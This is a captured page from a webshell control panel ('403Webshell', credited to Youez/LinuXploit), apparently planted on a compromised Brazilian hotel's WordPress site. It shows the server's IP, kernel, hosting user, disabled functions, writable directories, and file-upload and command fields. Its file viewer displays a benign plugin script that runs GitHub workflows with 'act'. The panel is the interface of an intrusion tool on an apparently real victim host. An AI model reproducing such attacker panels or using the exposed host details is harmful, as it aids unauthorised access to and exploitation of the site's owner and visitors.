403Webshell
Server IP : 177.55.116.72  /  Your IP : 216.73.217.104
Web Server : Apache
System : Linux UBAPCWEB27 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
User : web_hotelpraiadoc ( 3326)
PHP Version : 8.2.20
Disable Function : proc_open, passthru, escapeshellcmd, exec, shell_exec, system, ini_alter, dl, popen, php_check_syntax, show_source, highlight_file, symlink, link, openlog, apache_child_terminate
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/hotelpraiadoconde.com.br/public/wp-content/plugins/wp-whatsapp-chat/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotelpraiadoconde.com.br/public/wp-content/plugins/wp-whatsapp-chat/scripts/run-act-win.js
const { spawn } = require('child_process');
const which = require('which');

const workflowName = process.argv[2];

if (!workflowName) {
	console.error('Please provide the workflow name.');
	process.exit(1);
}

console.warn(`\x1b[36mRunning workflow: ${workflowName}\x1b[0m`);

const actPath = which.sync('act');

const actProcess = spawn(
	actPath,
	[
		//NOSONAR
		'-W',
		`.github/workflows/${workflowName}.yml`,
		'--secret-file',
		'.secrets',
	],
	{
		shell: true,
		stdio: 'inherit', // Esto redirige stdin/stdout/stderr directamente a la consola
	}
);

actProcess.on('error', (error) => {
	console.error(`\x1b[33mError running workflow: ${error.message}\x1b[0m`);
	process.exit(1);
});

actProcess.on('close', (code) => {
	if (code === 0) {
		console.warn(`\x1b[32mWorkflow completed successfully\x1b[0m`);
	} else {
		console.error(`\x1b[33mWorkflow failed with exit code ${code}\x1b[0m`);
		process.exit(code);
	}
});

Youez - 2016 - github.com/yon3zu
LinuXploit